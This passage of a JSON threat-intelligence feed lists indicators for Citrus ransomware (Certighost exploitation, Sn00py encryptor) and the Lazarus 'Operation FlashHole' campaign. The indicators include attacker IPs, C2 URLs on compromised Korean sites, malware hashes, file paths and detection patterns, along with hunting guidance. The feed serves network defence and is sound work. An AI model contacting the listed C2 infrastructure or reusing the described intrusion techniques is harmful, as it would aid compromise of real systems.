"Citrus-Ransomware-Certighost-Sn00py_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py", "share_url": "https://iocwatch.com/t/Citrus-Ransomware-Certighost-Sn00py/", "indicators": [ { "value": "91.210.109.118", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Citrus-controlled server (BlueVPS, Estonia). It was named in the cdc attribute of Certighost (CVE-2026-54121) certificate requests so the CA fetched forged data from it, and it received data stolen by the Citrus keylogger.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" }, { "url": "https://gbhackers.com/citrus-ransomware-attack/", "name": "GBHackers" } ] }, { "value": "91.210.108.180", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Second Citrus server in Kaspersky's indicator list, on the same BlueVPS range; it exposes a self-signed service on TCP 8443.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "d631627131b90d576d77f4bf530e1abe", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of the Xray build Citrus drops in C:\\ProgramData as mst.exe, sabycenter.exe, webex.exe or rpchost.exe to run reverse VLESS tunnels on port 443 that imitate mirror.yandex.ru.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" }, { "url": "https://gbhackers.com/citrus-ransomware-attack/", "name": "GBHackers" } ] }, { "value": "7107fb029e7c63523e3aca5fc8e56b38", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of the Meterpreter stager 2341.exe used by Citrus.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "e251df2d0b7c3682965efb4d2009a2f4", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of the Citrus keylogger jhost.exe, which sends captured data to 91.210.109.118.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "17b29b6c9de80402a45e321bbe1168fa", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of the Sn00py ransomware build build_64.exe that encrypts user files and appends .citrus.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "KasperskyGPO_Deploy_64.exe", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Self-extracting archive that creates the malicious Kaspersky GPO which pushes the ransomware across the domain; it impersonates a Kaspersky deployment tool.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "Deploy-KasperskyGPO.ps1", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "PowerShell script inside the self-extracting archive that copies the ransomware to SYSVOL and imports and links the malicious GPO.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "build_64.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Sn00py ransomware file name, copied to C:\\Windows and the domain SYSVOL share.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "CITRUS_README.txt", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Ransom note dropped next to encrypted files.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": ".citrus", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Extension appended to files encrypted by the Citrus Sn00py build.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "KasperskyAgentInstallTask", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Scheduled task name the malicious GPO uses to run the ransomware archive (Sysvc is the other name seen).", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "Java rpchost agent", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Scheduled task name used for persistence of the Xray tunnel binary rpchost.exe.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] }, { "value": "GHOST[A-Z]{8}", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Computer accounts named GHOST followed by eight random capital letters (e.g. GHOSTAUFTAFGS) are created by the public Certighost exploit; each one is a CVE-2026-54121 attempt.", "source_url": "https://securelist.com/citrus-ransomware/121879/", "source_label": "Kaspersky Securelist – Citrus ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/citrus-ransomware/121879/", "name": "Kaspersky" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/hunt.kql", "download": "Citrus-Ransomware-Certighost-Sn00py_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/hunt.spl", "download": "Citrus-Ransomware-Certighost-Sn00py_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/hunt_raw.spl", "download": "Citrus-Ransomware-Certighost-Sn00py_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Citrus-Ransomware-Certighost-Sn00py/hunt.yaral", "download": "Citrus-Ransomware-Certighost-Sn00py_hunt.yaral" } ] }, { "id": "Lazarus-Operation-FlashHole-CrossWeb-EX", "folder": "threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX", "name": "Lazarus Operation FlashHole: CrossWeb EX Abuse, GitHub-Issue C2 and Post-Quantum LPEClient", "short": "Lazarus Operation FlashHole", "category": "Espionage / APT", "published": "2026-10-21", "entry_date": "2026-11-12 12:25", "last_updated": "2026-11-12", "seq": 29, "headline": "Lazarus abusing CrossWeb EX with GitHub-issue C2 (TechHub) and compromised Korean sites for Cubridge and ClientHub", "summary": "Kaspersky's GReAT documented Operation FlashHole, a Lazarus Group follow-up to Operation SyncHole that it presented at SAS on 11 November 2026. Targets in South Korea's software, construction and wired-communication equipment sectors received tailored phishing links to fake résumé and portfolio sites on GitHub Pages; the sites loaded scripts from javadevhouse.co.kr and pythonapischool.com, and the infection ran through INISAFE CrossWeb EX 3.4.1.2, a security plug-in that Korean banking and government sites require. Under INISAFECrossWebEXSvc.exe, the Windows binary fsquirt.exe was injected with the TechHub downloader, which uses a private GitHub repository as C2: it opens an issue titled 1 plus a host ID with the body hel, swaps keys through repository files and changes the body to hey when ready. TechHub loads the Cubridge orchestrator, TouchHub installs a service for the TouchShift loader (side-loaded as mscoree.dll), and a second TechHub brings in ClientHub, which uses SNOW-encrypted config and compromised Korean websites or Dropbox as C2, and LPEClient, which now uses ML-KEM-1024. The two script hosts' URLs, pythonapischool.com and six C2 paths on compromised sites are on the block list.", "caveat": "Kaspersky's report was published on 21 October 2026 and presented at SAS on 11 November; the January activity may be older than the indicators suggest. Six C2 URLs sit on compromised legitimate South Korean sites, so block the exact URLs, not the domains. javadevhouse.co.kr no longer resolves and its ownership is unconfirmed, so it is alert only. Hashes are MD5 only. Do not block GitHub, GitHub Pages, Dropbox or CrossWeb EX; hunt for unusual processes using them.", "targets": { "countries": [ { "code": "KR", "name": "South Korea" } ], "regions": [ "East Asia" ], "sectors": [ "Software", "Construction", "Telecommunications equipment" ], "note": "Kaspersky identified at least three South Korean firms in software, construction and wired communication equipment, and expects many more organisations were affected.", "source": { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "name": "Kaspersky" } }, "mitre": [ { "id": "T1566.002", "name": "Spearphishing Link", "url": "https://attack.mitre.org/techniques/T1566/002/" }, { "id": "T1189", "name": "Drive-by Compromise", "url": "https://attack.mitre.org/techniques/T1189/" }, { "id": "T1203", "name": "Exploitation for Client Execution", "url": "https://attack.mitre.org/techniques/T1203/" }, { "id": "T1055", "name": "Process Injection", "url": "https://attack.mitre.org/techniques/T1055/" }, { "id": "T1574.002", "name": "DLL Side-Loading", "url": "https://attack.mitre.org/techniques/T1574/002/" }, { "id": "T1543.003", "name": "Windows Service", "url": "https://attack.mitre.org/techniques/T1543/003/" }, { "id": "T1102.002", "name": "Bidirectional Communication", "url": "https://attack.mitre.org/techniques/T1102/002/" }, { "id": "T1071.001", "name": "Web Protocols", "url": "https://attack.mitre.org/techniques/T1071/001/" }, { "id": "T1573", "name": "Encrypted Channel", "url": "https://attack.mitre.org/techniques/T1573/" }, { "id": "T1027", "name": "Obfuscated Files or Information", "url": "https://attack.mitre.org/techniques/T1027/" }, { "id": "T1068", "name": "Exploitation for Privilege Escalation", "url": "https://attack.mitre.org/techniques/T1068/" } ], "recommended_actions": [ "Block the eight URLs and pythonapischool.com, alert on javadevhouse.co.kr, and search 90 days of proxy and DNS logs for all of them.", "Update INISAFE CrossWeb EX to the vendor's latest release or remove it where it is not required, and alert on INISAFECrossWebEXSvc.exe starting fsquirt.exe, a shell or any unsigned process.", "Hunt for mscoree.dll and ActivationStore.dat in System32\\RasConv, System32\\DrvConh and the ProgramData folders listed, and for services whose binary sits in those folders.", "Hunt for non-browser processes (fsquirt.exe, svchost.exe, rundll32.exe) calling api.github.com or the Dropbox API.", "If anything matches, isolate the host and collect memory: the first stage runs only in memory." ], "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "label": "Safeguard – Lazarus FlashHole: ML-KEM-1024 malware delivery, IOCs and hunting", "name": "Safeguard" } ], "indicator_count": 22, "block_now_count": 9, "hunt_count": 13, "hunt_counts": { "alert": 13 }, "indicator_counts": { "other": 12, "url": 8, "domain": 2 }, "ioas": [ { "artefact": "INISAFE CrossWeb EX service (INISAFECrossWebEXSvc.exe) starting fsquirt.exe, a shell or another unexpected child process", "log_source": "EDR process events on Windows endpoints with CrossWeb EX installed", "why": "In FlashHole the chain began under INISAFECrossWebEXSvc.exe (CrossWeb EX V3 3.4.1.2) at high integrity, and the Bluetooth transfer tool fsquirt.exe was injected with the TechHub downloader. fsquirt.exe has no reason to run under that service.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_name": "Kaspersky", "title": "CrossWeb EX service starting fsquirt or a shell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "mscoree.dll, ActivationStore.dat or msadc.inc in System32\\RasConv, System32\\DrvConh, Common Files\\System\\msadc or the ProgramData folders RasConv, Apple, ssh, qorestor and Dell", "log_source": "EDR file and image-load events", "why": "TouchShift is side-loaded as mscoree.dll from these folders, the service-based TechHub reads ActivationStore.dat, and ClientHub keeps its SNOW-encrypted C2 list in msadc.inc. The real mscoree.dll lives in System32 itself, not in these subfolders.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_name": "Kaspersky", "title": "FlashHole side-loading DLL or payload file in odd folders", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A new service whose binary or ServiceDll sits in System32\\RasConv or System32\\DrvConh, named after a netsvcs service with two extra letters", "log_source": "EDR registry events; Windows System 7045 (service installed)", "why": "TouchHub copies a legitimate netsvcs service name, adds two random letters and registers a service that loads the side-loaded TouchShift DLL, so the service looks almost genuine.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_name": "Kaspersky", "title": "Service pointing into System32 RasConv or DrvConh", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Non-browser processes such as fsquirt.exe, rundll32.exe or a service host calling api.github.com or the Dropbox API", "log_source": "EDR network events; proxy logs", "why": "TechHub uses a private GitHub repository and its issues as C2 (an issue titled 1 plus the host ID, body hel then hey), and one ClientHub build uses the Dropbox API. GitHub and Dropbox are legitimate, so the lead is the calling process.", "action": "hunt", "has_query": true, "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_name": "Kaspersky", "title": "Non-browser process calling GitHub or Dropbox APIs", "queries": [ "KQL", "SPL" ] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/block_now.txt", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/defender_xdr_indicators.csv", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/hunt.kql", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/hunt.spl", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/hunt_raw.spl", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/hunt.yaral", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/iocs.csv", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX", "share_url": "https://iocwatch.com/t/Lazarus-Operation-FlashHole-CrossWeb-EX/", "indicators": [ { "value": "pythonapischool.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Lazarus-controlled host for the script embedded in the fake interior-design site on GitHub Pages; registered on 7 January 2026, when the January wave began.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "https://pythonapischool.com/api/detach", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Script URL embedded in the fake interior-design portfolio site used to start the infection.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "javadevhouse.co.kr", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Host of the script embedded in the fake résumé site; Kaspersky lists it as Lazarus C2, but it no longer resolves and ownership is not confirmed, so alert on the domain and block the exact URL.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "https://javadevhouse.co.kr/ajax/libs/jquery/1.7.3/jquery.min.js", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Fake jQuery script embedded in the fake résumé site on GitHub Pages used to start the infection.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "https://cubedesign.co.kr/news", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Cubridge C2 path on a compromised legitimate South Korean website.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "https://cubedesign.co.kr/mobile/fashion", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Cubridge C2 path on a compromised legitimate South Korean website.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "https://fp-news.co.kr/shop/cart", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Cubridge C2 path on a compromised legitimate South Korean media website.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "https://k-wbc.co.kr/skin/social/social_view.php", "type": "url", "confidence": "high", "recommended_action": "block", "description": "ClientHub C2 path on a compromised legitimate South Korean website.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "https://rcsh.co.kr/modules/bbs/tiles/bbs_div/inputForm.php", "type": "url", "confidence": "high", "recommended_action": "block", "description": "ClientHub C2 path on a compromised legitimate South Korean website.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "https://www.ksog.org/insert_file/handle.php", "type": "url", "confidence": "high", "recommended_action": "block", "description": "ClientHub C2 path on a compromised legitimate website.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "ec84d6cb2ae7974767aedac246b50a3e", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of a TouchShift loader dropped as mscoree.dll for DLL side-loading.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "a28cba214058fcae2883d8cffc883abd", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of a TouchShift loader dropped as mscoree.dll.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "c105d6b16f544582772de0159f24c00a", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of a TouchShift loader dropped as mscoree.dll.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] }, { "value": "2f8475a90a25624ed02f1d18d4e6d65d", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of a TouchShift loader dropped as mscoree.dll.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] }, { "value": "676fabe30a28b53925fba98e34b35986", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of a TouchShift loader dropped as mscoree.dll.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] }, { "value": "b4a7eff35f048f06fb0a2d7631f23a7d", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of a TouchShift loader dropped as mscoree.dll.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] }, { "value": "ff07641dc56914dd90ee0bd7404d7ad7", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "MD5 of the ClientHub loader dropped as liblzma.dll.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" }, { "url": "https://safeguard.sh/resources/blog/lazarus-flashhole-post-quantum-ml-kem-malware", "name": "Safeguard" } ] }, { "value": "C:\\Windows\\System32\\RasConv\\mscoree.dll", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "TouchShift side-loading DLL in a non-standard System32 subfolder; mscoree.dll is a real .NET file name, so only this path is suspicious.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] }, { "value": "C:\\Windows\\System32\\DrvConh\\mscoree.dll", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "TouchShift side-loading DLL in a non-standard System32 subfolder.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] }, { "value": "C:\\Windows\\System32\\RasConv\\ActivationStore.dat", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Encrypted payload file read by the side-loaded TechHub service variant.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] }, { "value": "C:\\Program Files\\Common Files\\System\\msadc\\msadc.inc", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Encrypted ClientHub configuration file (SNOW-encrypted C2 list).", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] }, { "value": "C:\\ProgramData\\desktops.ini", "type": "other", "confidence": "med", "recommended_action": "alert", "description": "File path from Kaspersky's FlashHole indicator list; the name imitates desktop.ini.", "source_url": "https://securelist.com/lazarus-operation-flashhole/121541/", "source_label": "Kaspersky Securelist – Dissecting Operation FlashHole, a complex attack by Lazarus", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/lazarus-operation-flashhole/121541/", "name": "Kaspersky" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/hunt.kql", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", 